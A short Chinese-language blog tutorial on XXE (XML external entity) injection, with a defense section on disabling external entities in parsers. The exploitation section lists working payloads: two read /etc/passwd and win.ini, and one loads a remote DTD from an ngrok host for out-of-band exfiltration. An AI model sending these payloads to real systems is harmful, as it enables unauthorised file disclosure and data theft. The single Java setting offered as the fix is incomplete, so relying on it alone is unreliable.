XXE(外部实体注入攻击)

什么是XXE

XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。

利用方法

file:///C:/Windows/win.ini

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://9c3f5c9c.ngrok.io/a.dtd">
%remote;
]>
<comment>
  <text>test&send;</text>
</comment>

进阶

学习

XML实体注入漏洞攻与防
XXE(XML External Entity attack)XML外部实体注入攻击
XXE漏洞利用技巧:从XML到远程代码执行

防御

理论上的防御措施

  1. 禁用外部实体
  2. 过滤和验证用户提交的xml数据
  3. 不允许xml中含有任何自己声明的dtd

实践有效的防御措施

配置xml parser只能使用静态dtd,禁止外来引入

以java为例,通过设置相应的属性值为false

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

版权声明:本文为Home_pig原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。